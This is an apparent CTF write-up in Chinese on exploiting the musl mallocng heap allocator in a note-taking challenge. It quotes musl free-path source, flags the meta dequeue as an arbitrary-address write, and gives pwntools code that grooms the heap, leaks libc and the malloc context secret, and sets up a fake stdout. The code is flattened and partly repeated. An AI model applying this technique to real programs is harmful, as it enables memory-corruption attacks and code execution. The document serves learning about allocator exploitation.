musl 的堆比较特殊,meta 页是按照顺序申请的,而且与 group 页隔离。当同一个 size 的 meta 分配满之后,如果继续申请,会使用 avail_meta 保留的一个 meta 地址,当然这了 meta 是全新的。而且,一旦申请后,malloc_context active 数组对应位置就会保留正在分配的 meta. 同时会将这两个 meta 的 prev next 设置,形成双链表。如果其中一个 meta 满无法分配,或者被 free,就会解开连表。full_meta 的 prev 和 next 被清零。
add(b'a',b'a') add(b'b'*0x28,b'b'*0x28) add(b'b'*0x28,b'b'*0x28)#slot full size is 0x2c add(b'c'*0x28,b'c'*0x50)#slot full size is 0x6c free(b'a') #free the first note,the meta(0xc)is freed, clean() #now meta(0x2c) has one no use,and 1 freed,meta(0xc) heav 3 freed
add(b'a',b'a'*0x28) #we alloc the last slot in meta(0x2c) for abynote, #.Reuse the 0 solt in meta(0xc) (malloc from bins), #then reuse the free slot in meta(0x2c) add(b'b',b'b') #malloc a slot(0x2c) in a new meta2(0x2c,and malloc 2 slot(0xc) in meta(0xc)
free(b'a') #malloc a new slot(0xc),in meta(0xc),then free babynote a,then meta1(0x2c) will have 2 freed slot
add(b'c'*0x28,b'c'*0x28)#malloc 3slot from meta2(0x2c),so meta1(0x2c),have 2 freed slot add(b'd'*0x28,b'd'*0x28)# add(b'e'*0x28,b'e'*0x28)#fill up meta2(0x2c) add(b'f',b'f'*0x50) #malloc a baby note from meta1(0x2c),meta1(0x2c) still have one freed,
find(b'a') r.recvuntil("0x28:") ss = b'\x00'*0 for i inrange(6): ss = r.recv(2)+ss ss = b'0x'+ss print(ss) libcbase = int(ss,16) - 0x29fdf0 stdout = libcbase + 0x2a0e00 system = libcbase + libc.sym['system'] __malloc_context = 0x2a1aa0+libcbase
pwndbg> p *(struct group*)0x7f6431216c30 $4 = { meta = 0x55555730d4f0, active_idx = 9'\t', pad = "\000\000\000\000\200\000", storage = 0x7f6431216c40"" }
然后,3 这,他也只想一个地址,这里你也是一个 meta,与后面 group 的 free 有关。
slot 的堆头会保留与 base 的偏移,以及 slot 在 group 组的编号,通过偏移找到 base,也就是 group 的地址。
下面我们来说检查,要想把 fake_meta 释放掉,要保证 meta 只有一个 freeadble, 可以是只有 1 个 slot,也可以是其他状况,因为这个会涉及 meta 的 avail_mask 以及 freed_mask,我建议是把 freed_mask 写成 0,这样在 free 函数里的一个循环时,直接跳出,减少工作量。
1 2 3 4 5 6 7 8 9 10 11 12 13
// atomic free without locking if this is neither first or last slot for (;;) { uint32_t freed = g->freed_mask; uint32_t avail = g->avail_mask; uint32_t mask = freed | avail; assert(!(mask&self)); if (!freed || mask+self==all) break; if (!MT) g->freed_mask = freed+self; elseif (a_cas(&g->freed_mask, freed, freed+self)!=freed) continue; return; }
staticstruct mapinfo nontrivial_free(struct meta *g, int i) { uint32_t self = 1u<<i; int sc = g->sizeclass; uint32_t mask = g->freed_mask | g->avail_mask;
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) { // any multi-slot group is necessarily on an active list // here, but single-slot groups might or might not be. if (g->next) { assert(sc < 48); int activate_new = (ctx.active[sc]==g); dequeue(&ctx.active[sc], g); //任意地址写 if (activate_new && ctx.active[sc]) activate_group(ctx.active[sc]); } return free_group(g); } elseif (!mask) { assert(sc < 48); // might still be active if there were no allocations // after last available slot was taken. if (ctx.active[sc] != g) { queue(&ctx.active[sc], g); } } staticinlinevoiddequeue(struct meta **phead, struct meta *m)//unlink the meta { if (m->next != m) { //meta is freed m->prev->next = m->next; m->next->prev = m->prev; if (*phead == m) *phead = m->next; } else { *phead = 0; } m->prev = m->next = 0; }
staticinlinevoidfree_meta(struct meta *m) { *m = (struct meta){0}; queue(&ctx.free_meta_head, m); } staticinlinevoidqueue(struct meta **phead, struct meta *m) //inser m in the front of queue,but it will not change the phead ptr { assert(!m->next); assert(!m->prev); if (*phead) { structmeta *head = *phead; m->next = head; m->prev = head->prev; m->next->prev = m->prev->next = m; } else { m->prev = m->next = m; *phead = m; } }
gdb.attach(r,'b malloc') add(b'a',b'a') add(b'b'*0x28,b'b'*0x28) add(b'b'*0x28,b'b'*0x28)#slot full size is 0x2c add(b'c'*0x28,b'c'*0x50)#slot full size is 0x6c free(b'a') #free the first note,the meta(0xc)is freed, clean() #now meta(0x2c) has one no use,and 1 freed,meta(0xc) heav 3 freed
add(b'a',b'a'*0x28) #we alloc the last slot in meta(0x2c) for abynote, #.Reuse the 0 solt in meta(0xc) (malloc from bins), #then reuse the free slot in meta(0x2c) add(b'b',b'b') #malloc a slot(0x2c) in a new meta2(0x2c,and malloc 2 slot(0xc) in meta(0xc)
free(b'a') #malloc a new slot(0xc),in meta(0xc),then free babynote a,then meta1(0x2c) will have 2 freed slot
add(b'c'*0x28,b'c'*0x28)#malloc 3slot from meta2(0x2c),so meta1(0x2c),have 2 freed slot add(b'd'*0x28,b'd'*0x28)# add(b'e'*0x28,b'e'*0x28)#fill up meta2(0x2c) add(b'f',b'f'*0x50) #malloc a baby note from meta1(0x2c),meta1(0x2c) still have one freed,
find(b'a') r.recvuntil("0x28:") ss = b'\x00'*0 for i inrange(6): ss = r.recv(2)+ss ss = b'0x'+ss print(ss) heap_addr = int(ss,16) libcbase = heap_addr- 0x29fdf0 stdout = libcbase + 0x2a0e00 system = libcbase + libc.sym['system'] __malloc_context = 0x2a1aa0+libcbase ofl_head = libcbase+ 0x2a3e28 fake_stdout_addr = libcbase+0x29ee20#we can malloc0x50 to get
#here we can leak anywhere pad = p64(libcbase+0x29fdb0)+p64(__malloc_context)+p64(1)+p64(0x420)+p64(0) find(pad) find(b'a') #leak __malloc_context to get meta addr r.recvuntil(b"0x420:") secret =get8() r.recv(16) free_meta = get8() avail_meta = get8() for i inrange(6): get8() active=list() for i inrange(48): active.append(get8()) meta_base = active[0]-0x28 add(b'Z'*0x100,b'Z'*0x100) #fill up the old meta to create new meta3(0x2c)